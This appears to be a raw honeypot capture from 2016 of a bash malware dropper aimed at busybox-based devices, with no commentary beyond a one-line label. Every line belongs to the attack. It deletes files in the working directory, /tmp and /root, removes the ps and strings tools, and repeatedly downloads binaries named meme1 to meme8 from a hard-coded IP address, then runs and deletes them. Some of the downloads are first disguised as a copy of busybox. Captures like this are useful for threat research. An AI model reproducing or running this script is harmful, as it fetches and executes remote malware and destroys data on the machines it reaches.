Honeypot Payload! Seen on: 2016-04-21 20:04

#!/bin/bash
rm -f *
busybox rm -rf /tmp/*
busybox rm -rf /root/*
busybox rm -rf /usr/bin/strings
busybox rm -rf /usr/bin/ps
busybox wget http://80.82.64.142/meme1; busybox chmod +x meme1; ./meme1; busybox rm -f meme1*
rm -f *
busybox wget http://80.82.64.142/meme2; busybox chmod +x meme2; ./meme2; busybox rm -f meme2*
rm -f *
busybox wget http://80.82.64.142/meme3; busybox chmod +x meme3; ./meme3; busybox rm -f meme3*
rm -f *
busybox wget http://80.82.64.142/meme4; busybox chmod +x meme4; ./meme4; busybox rm -f meme4*
rm -f *
busybox wget http://80.82.64.142/meme5; busybox chmod +x meme5; ./meme5; busybox rm -f meme5*
rm -f *
busybox wget http://80.82.64.142/meme6; busybox chmod +x meme6; ./meme6; busybox rm -f meme6*
rm -f *
busybox wget http://80.82.64.142/meme7; busybox chmod +x meme7; ./meme7; busybox rm -f meme7*
rm -f *
busybox wget http://80.82.64.142/meme8; busybox chmod +x meme8; ./meme8; busybox rm -f meme8*

rm -f *
busybox wget http://80.82.64.142/meme1; busybox cp /bin/busybox ./; busybox cat meme1 > busybox; busybox rm -f meme1; busybox cp busybox meme1; busybox rm -f busybox; ./meme1; busybox rm -f meme1*
rm -f *
busybox wget http://80.82.64.142/meme2; busybox cp /bin/busybox ./; busybox cat meme2 > busybox; busybox rm -f meme2; busybox cp busybox meme2; busybox rm -f busybox; ./meme2; busybox rm -f meme2*
rm -f *
busybox wget http://80.82.64.142/meme3; busybox cp /bin/busybox ./; busybox cat meme3 > busybox; busybox rm -f meme3; busybox cp busybox meme3; busybox rm -f busybox; ./meme3; busybox rm -f meme3*
rm -f *
busybox wget http://80.82.64.142/meme4; busybox cp /bin/busybox ./; busybox cat meme4 > busybox; busybox rm -f meme4; busybox cp busybox meme4; busybox rm -f busybox; ./meme4; busybox rm -f meme4*
rm -f *
busybox wget http://80.82.64.142/meme5; busybox cp /bin/busybox ./; busybox cat meme5 > busybox; busybox rm -f meme5; busybox cp busybox meme5; busybox rm -f busybox; ./meme5; busybox rm -f meme5*
rm -f *
busybox wget http://80.82.64.142/meme6; busybox cp /bin/busybox ./; busybox cat meme6 > busybox; busybox rm -f meme6; busybox cp busybox meme6; busybox rm -f busybox; ./meme6; busybox rm -f meme6*
rm -f *
busybox wget http://80.82.64.142/meme7; busybox cp /bin/busybox ./; busybox cat meme7 > busybox; busybox rm -f meme7; busybox cp busybox meme7; busybox rm -f busybox; ./meme7; busybox rm -f meme7*
rm -f *
sleep 1
exit